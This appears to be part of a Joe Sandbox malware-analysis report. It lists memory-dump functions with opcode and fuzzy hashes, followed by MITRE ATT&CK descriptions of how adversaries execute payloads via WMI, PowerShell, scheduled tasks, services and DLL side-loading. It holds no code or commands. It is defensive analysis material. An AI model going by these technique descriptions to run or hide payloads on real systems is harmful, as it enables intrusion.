Instruction ID: a4cc358139e4ca709e6eacad70918facff52f0cdd07e456016afc25182137c51
Opcode Fuzzy Hash: 5f110b3ee2239ed7681c9f9dbaf8e9de90c70dbabd54e4635ca4ea7e437ff04d
Instruction Fuzzy Hash: 03F05870909208EFCB14CFA8D44069CBBB5FF48300F0084EAD88497214D731AAA2DB90

Function 05CD7F21 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2649989864.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5cd0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 929285994907e41f7c80e7dc33bce44a5a8edb0f4670f0e0e54d7e96a6983151
Instruction ID: e29eced653adea4bc280327ab9d868b94fd00ad5e2aaeaa950b75615892ffa68
Opcode Fuzzy Hash: 929285994907e41f7c80e7dc33bce44a5a8edb0f4670f0e0e54d7e96a6983151
Instruction Fuzzy Hash: DFF08235D09244EFCB50CFA8C8916ACFFB0EF49204F1481DEC80497351D6319A21CF81

Function 05CD7918 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2649989864.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5cd0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58b6ef51bba734b23654175513e7cac941c432ae42dac073ee7c81cd057873f4
Instruction ID: 5eef003cd2635e79df40227cc7b6ef6e8c3385a2dec36acd169fca2a5e0c086e
Opcode Fuzzy Hash: 58b6ef51bba734b23654175513e7cac941c432ae42dac073ee7c81cd057873f4
Instruction Fuzzy Hash: 50F0F275908248AFCB80DFA9C840BADBBF8EB48211F14C4AAA959D3241D6359A51DFA0

Function 05CD4345 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2649989864.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5cd0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8322f8c7df6dc3e6737f2bfaed0d1a148139a3238b2ad024cb26084d80c3bdd8
Instruction ID: 1eeca658504375b5661687899d510cc0f3b678294f2665ee3ced485e0f8a09d0
Opcode Fuzzy Hash: 8322f8c7df6dc3e6737f2bfaed0d1a148139a3238b2ad024cb26084d80c3bdd8
Instruction Fuzzy Hash: F8F03A74E052188FCF28DF6AC8846AEF7B6BF88300F209569960AE3255D7704E01CF10

Function 05ED67D0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2652314334.0000000005ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5ed0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56f2e87551de5ece47a665d6f90d2260c3644064b6755e53826b63139c15178b
Instruction ID: ebfa46decd19e1b6536b3913b72353db65ad33bf8c2d6f2db5fc998e16a0bab4
Opcode Fuzzy Hash: 56f2e87551de5ece47a665d6f90d2260c3644064b6755e53826b63139c15178b
Instruction Fuzzy Hash: 10F0A034809288EFCB42CFA8D840EACBFB4FF4A311F1481A9E84567332C6305A65DB60

Function 05CD2E50 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2649989864.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5cd0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25e31fdae969a7a242b22902a4b8331dab7634904555463e436a545444ea6eb4
Instruction ID: 1e95145bb779551f62c9579c49747bf8157e5070e319d7e4c5b276c9f97533f1
Opcode Fuzzy Hash: 25e31fdae969a7a242b22902a4b8331dab7634904555463e436a545444ea6eb4
Instruction Fuzzy Hash: 8AF08C34805108EFCB54CF98C881AECFBB4FB49301F1482A9C809A3351C7326A05DF90

Function 05CD291C Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2649989864.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5cd0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7982730b75ddbecf3832c205f88d8fbc7d6d91542a95e26e42d7849e7b690345
Instruction ID: 14f1df327ef2ca377839b2c4c396c3435ebb39397c192880e1bb6db35ffaf38a
Opcode Fuzzy Hash: 7982730b75ddbecf3832c205f88d8fbc7d6d91542a95e26e42d7849e7b690345
Instruction Fuzzy Hash: F601EF78D84219CFDB60DFA8D888BADFBB1BB48300F2040A9A91AE3240E7344985CF50

Function 05CD40B9 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2649989864.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5cd0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f2813c23dac0da16893c2b713ca95915aeb10fef61297ea2f90c0eacdf18a37
Instruction ID: a6beb1b1e04664fccfce68235eadf7615c5b664ddcaf04fc332b14bad225d03c
Opcode Fuzzy Hash: 4f2813c23dac0da16893c2b713ca95915aeb10fef61297ea2f90c0eacdf18a37
Instruction Fuzzy Hash: E0F08C35808148AFCB14CFA4D8859A8BF75EF46300F14859DD90467315C772AA21DB90

Function 05CDE070 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2649989864.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5cd0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2019d8de22e7e7b558571ff448641b641e3d184835f1d866ec44475e9669d40
Instruction ID: 3464b3ae0eb3401180cb3bccd27ad8952ee739828f66a9174c7e3aebce809d7f
Opcode Fuzzy Hash: e2019d8de22e7e7b558571ff448641b641e3d184835f1d866ec44475e9669d40
Instruction Fuzzy Hash: 84E0123160020697C715AA5EE88484FFF9AEEC4264710D63DF24A97615DFB5AD0686D0

Function 05CD25E1 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2649989864.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5cd0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e1baf280b03402119ed9f785a4acb58eede279128bf8eea1b671ef4f002655d
Instruction ID: 66666a0672329c3a60a56e4fbf16b9ae846877c64db1cc5fed80997d04b628e9
Opcode Fuzzy Hash: 0e1baf280b03402119ed9f785a4acb58eede279128bf8eea1b671ef4f002655d
Instruction Fuzzy Hash: 95F0A030809344AFCB05CF60D94169CFF70EB46300F14C1DAD9085B242C7324E56EF40

Function 05CDF6C3 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2649989864.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5cd0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ace229568daf4649064a278cf9eba618edd1c731982169efc984257e8253e8e
Instruction ID: b8f90329f248d8341bb1c18041d13b6d3a3686ae7138e2f1a758dad2fead7d01
Opcode Fuzzy Hash: 1ace229568daf4649064a278cf9eba618edd1c731982169efc984257e8253e8e
Instruction Fuzzy Hash: F9E0DF3A4442458FE720DB28E8023823FE1EF8A211F19996DE882C2612DA38648F8B01

Function 05CD3F08 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2649989864.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5cd0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 194d843060b51fa4425f9147d479ed3cda4a4d06ade7aa774f0d357adb873f89
Instruction ID: 6079a82b37f8c4d5fbaed848ec9e9f1a5f7e8fde891d692da55aa8b8c419c518
Opcode Fuzzy Hash: 194d843060b51fa4425f9147d479ed3cda4a4d06ade7aa774f0d357adb873f89
Instruction Fuzzy Hash: 49E0223880A1C8EFCB10CFA4DC919ACFF74AB86301F2885CDC80857322CA312A12CB52

Function 05CDA128 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2649989864.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5cd0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db691bed39c291646d4c1078d81647a63a1d1005661f6c7ff3d628cfdc9b1404
Instruction ID: fbde2de0cfc239bf152abaa33b622fd4b360fbe3d0131d8c501abd408936f815
Opcode Fuzzy Hash: db691bed39c291646d4c1078d81647a63a1d1005661f6c7ff3d628cfdc9b1404
Instruction Fuzzy Hash: F5E0E574908208EFCB44DF98D9416ACFBB9AB48211F1081AE994993351D6719E91DB91

Function 05EDD4B0 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2652314334.0000000005ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5ed0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0dc6cd7897be3f70d9c89c38d89edbb00aeffbe5060e371c28b2ee629ff4183c
Instruction ID: 3705a9b1e2a3bf3405cc3011bab377c2535dd23dba951a21a77636535faeedeb
Opcode Fuzzy Hash: 0dc6cd7897be3f70d9c89c38d89edbb00aeffbe5060e371c28b2ee629ff4183c
Instruction Fuzzy Hash: E7E012B28887C59FD3018F65EC616867FE0F726714F45416BC0508A622D62D2053CB16

Function 05CD7F30 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2649989864.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5cd0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73a62abe439e1f0e89d7b4ab67cc7151e1df397d7fe1066d6cba993aef863585
Instruction ID: 0ba070e0025ccd6ba8a9a0912ea693b074bf3be27db5db7a7d43540a7b3c17fe
Opcode Fuzzy Hash: 73a62abe439e1f0e89d7b4ab67cc7151e1df397d7fe1066d6cba993aef863585
Instruction Fuzzy Hash: DEE01A74D08208EBC754DB94D5416ACFBF4EB49204F1081ED991893341D6319A52DB94

Function 05CD52A0 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2649989864.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5cd0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d12b0d95e85ddcde065c2051fa48415643c3ee8c54cef20e44d244336b9bd73
Instruction ID: 60ea59db7e73f64bbf46a4f6be18dea2315b3fbba2e9d9546712038944ad3168
Opcode Fuzzy Hash: 6d12b0d95e85ddcde065c2051fa48415643c3ee8c54cef20e44d244336b9bd73
Instruction Fuzzy Hash: 30E08C34909208EBCB04DF94D941AACFBB9FB49300F2081A9DD0863354CB32AE56EB90

Function 05ED955B Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2652314334.0000000005ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5ed0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d4733281d352a5f8fabf14d8df7ef27f242beb455f43fd0c53e1db58cb3f752
Instruction ID: 9dabe9a3ab4ea876e10b5420b080d028230eda45082f152a4819dd8a87e8d4f1
Opcode Fuzzy Hash: 5d4733281d352a5f8fabf14d8df7ef27f242beb455f43fd0c53e1db58cb3f752
Instruction Fuzzy Hash: 8EE0DF70A01208EFEB04CF74E882BADB7B1FBC4300F1085ADD805A7214EA341E00EB81

Function 033CEEC0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2608722794.00000000033C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 033C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_33c0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e80b4b424d44fe8fbb96762486c42e4fc1f4a7d06be5197ead3e12b7e1fc8458
Instruction ID: 4be6462b7fc685505b1244ac1a71b597ff4da5952d91d365f473cf92b93053d6
Opcode Fuzzy Hash: e80b4b424d44fe8fbb96762486c42e4fc1f4a7d06be5197ead3e12b7e1fc8458
Instruction Fuzzy Hash: 72E0C231500208EBC700EFF0D80868EBBF8EB09202F0018A9C50893220EF719E009B91

Function 05CD3F18 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2649989864.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5cd0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3dae9d1bc595f40a4ef540742bba82c8d3fe87d667c01f1f6053e81b158d6da
Instruction ID: aef90bd8dcf8cd053115c889e70bebf543733aac93f5a8cbfec7e552c20913f3
Opcode Fuzzy Hash: f3dae9d1bc595f40a4ef540742bba82c8d3fe87d667c01f1f6053e81b158d6da
Instruction Fuzzy Hash: A7E0C23890924CEBC704DF94D94166CFBB8FB85301F2085DCC80857340CA31AE42CB91

Function 05ED9568 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2652314334.0000000005ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5ed0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7cca92e9d512c58d5094fc420a129fc6a05a37d3b86c9fa4de833c8d246f6cce
Instruction ID: c2272e5bbef4bfbb7a7ebc88a4bdbd22b5b50f64eebf40ac933cea4855afd547
Opcode Fuzzy Hash: 7cca92e9d512c58d5094fc420a129fc6a05a37d3b86c9fa4de833c8d246f6cce
Instruction Fuzzy Hash: E7E01270B0120DFBEB04DFB4E941A6DB7F5FBC5204F5085A9D505AB254EA756E009781

Function 05ED74BD Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2652314334.0000000005ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5ed0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18992da63fb731b860fb9e386c0b120b1591b1f19b289c3ff6e740269f223005
Instruction ID: 08875edeca902e6f55a59a0e86bd73cd8bb51de0c8ece21ff0e8deba5b2c78f7
Opcode Fuzzy Hash: 18992da63fb731b860fb9e386c0b120b1591b1f19b289c3ff6e740269f223005
Instruction Fuzzy Hash: 4AE01A30A0021D8FC724EF60D894B9DB7B2FB8A301F404099C80A67364DB301E45CF11

Function 05ED7467 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2652314334.0000000005ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5ed0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c1d3874cda9ee12efd6ac3ab346b1aac8144aa1632056a5ef6a664de9cb0cbd
Instruction ID: f33a30c6d09c711c741de3bb8016ea9b7b720fffd52ecdf6feca63fe2f749dc0
Opcode Fuzzy Hash: 4c1d3874cda9ee12efd6ac3ab346b1aac8144aa1632056a5ef6a664de9cb0cbd
Instruction Fuzzy Hash: A0E01A34A00619CFDB14EF64DC84B9DB7B2FB89300F000199D50A67354CB341D45CF54

Function 05ED7403 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2652314334.0000000005ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5ed0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e44cfb6da16dae941215b96fb10cec9427b2424a71f770e7ab3b4d96f77d9d0
Instruction ID: 9d03737e542dc45a34b201d04853afa15d660257ce77528b258f0af99be2800e
Opcode Fuzzy Hash: 1e44cfb6da16dae941215b96fb10cec9427b2424a71f770e7ab3b4d96f77d9d0
Instruction Fuzzy Hash: C0E01A34A082198BC798EF60D894BD9B7B2FB89311F104099854AA73A4CF305DCADF11

Function 05ED6FAE Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2652314334.0000000005ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5ed0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2e1817eb6cbab25f96080798a677d451b9b92947875de5d13fe79c2cb3d57d2
Instruction ID: 71405fd21f5cf14a7ccf7c12e06cec3cc8493ee06a20737ac1dfcde848675070
Opcode Fuzzy Hash: f2e1817eb6cbab25f96080798a677d451b9b92947875de5d13fe79c2cb3d57d2
Instruction Fuzzy Hash: F4E01A38A04219CFC750EFA4D8A4B9AB7B1FF86300F10049AC58AAB354DB701D85CF11

Function 033CECA8 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2608722794.00000000033C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 033C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_33c0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5919859392224f83b31593da2618eaa65ab7f41a6543db85577ca56e2fc1fc9c
Instruction ID: 70b2e0969f84e9aada09bc28297942537092afd9f90ab40a46193826b33910b5
Opcode Fuzzy Hash: 5919859392224f83b31593da2618eaa65ab7f41a6543db85577ca56e2fc1fc9c
Instruction Fuzzy Hash: B0C08C300402448BF3107BE0AD0EB29F3B8AB00203F482014D18C111748EB4AC5ADB66

Function 033C2B0B Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2608722794.00000000033C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 033C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_33c0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4dfec41908a091d3c252b73e1c821e44e6e85f455155c73906b30b910e62d858
Instruction ID: e60d4532a4816a241443e8a775e7396f667017b6d9fa732fb1f72546930a1cea
Opcode Fuzzy Hash: 4dfec41908a091d3c252b73e1c821e44e6e85f455155c73906b30b910e62d858
Instruction Fuzzy Hash: 14C01235310006CBEB04CB60F9408883B31EBC8220B156226D90A02328EB782EA98F80

Function 033C0840 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2608722794.00000000033C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 033C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_33c0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abc572ad93a964f235e2d6cd441bbf7d6de5c6f88c6b8312946e4043f4bb6e4f
Instruction ID: c5c7d28b9898309e89ba2b8cfef7803d07e45fb89c22eb26cdf4a39171e4c4fb
Opcode Fuzzy Hash: abc572ad93a964f235e2d6cd441bbf7d6de5c6f88c6b8312946e4043f4bb6e4f
Instruction Fuzzy Hash: 56C02BB18093C4AFCFB10A686CD01CC3BD8CB53112F130873C404C0003C555C0518B00

Function 05CDBC87 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2649989864.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5cd0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82c13cc70b498ccdce6904d207f7c42b4673cf77f5b8669f6630ad760896380c
Instruction ID: 4fc2decba582004af28a70dc0c5cc7922e075e842040357f70ad1174f03510cd
Opcode Fuzzy Hash: 82c13cc70b498ccdce6904d207f7c42b4673cf77f5b8669f6630ad760896380c
Instruction Fuzzy Hash: 48C00176E1002A9A8B00DAD9E8808DCBBB4EB94322B008026E225AA204D630292A8B50

Function 05ED0CAB Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2652314334.0000000005ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5ed0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c3e97e9b436ee05a2cf13e44d94a98abba6a762f07d3f5f76ee0d067ea109e5
Instruction ID: eddd72c2123f2b934d9b546f10f50d1388013112a393509363b0367c63d18f6e
Opcode Fuzzy Hash: 0c3e97e9b436ee05a2cf13e44d94a98abba6a762f07d3f5f76ee0d067ea109e5
Instruction Fuzzy Hash: 57D0C930A05219DFCB10DF28D944B89BB75EB45300F0065DA910DB3254EF741E86CF10

Function 05ED75EF Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2652314334.0000000005ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5ed0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 443cca31457b5d5438ade214188787c7b7b7efb98d8bdb97ea062fae3c132f94
Instruction ID: d0797f8a2556b3db3b1c947bf8ce9b7f1b1598077809cead7340e88e6f038da1
Opcode Fuzzy Hash: 443cca31457b5d5438ade214188787c7b7b7efb98d8bdb97ea062fae3c132f94
Instruction Fuzzy Hash: 0DC01270004205CFC300EF60D098AADBA22FB41705F00506590062A621DB7A0896EA05

Function 033C09B1 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2608722794.00000000033C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 033C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_33c0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d00b6cf0b2306af54dccfa934acde6d3f4548c85e5d905529b378982aabb720
Instruction ID: d2855e6724e536a66ff43f34c5d0ccf932012e79d00ebcdde4141ed44c5203f2
Opcode Fuzzy Hash: 8d00b6cf0b2306af54dccfa934acde6d3f4548c85e5d905529b378982aabb720
Instruction Fuzzy Hash: 91B0922848D2C10FEF0386207C843403E109B42B10F4450CEA046860C2E0801A28CF51

Function 033C0850 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2608722794.00000000033C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 033C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_33c0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bff4e1b60ff67f08a619b25675651d635ddc9aa40b89b2085e7b06f2301eac8
Instruction ID: 2074ed27559e214d8f331360181b3b2019c6b248c639bc9432074ad18b5836a3
Opcode Fuzzy Hash: 9bff4e1b60ff67f08a619b25675651d635ddc9aa40b89b2085e7b06f2301eac8
Instruction Fuzzy Hash: 909002310456CC8B465027957C0959577DCD5445267C61052A51D415055E95B4708B95

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., Native API ).
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
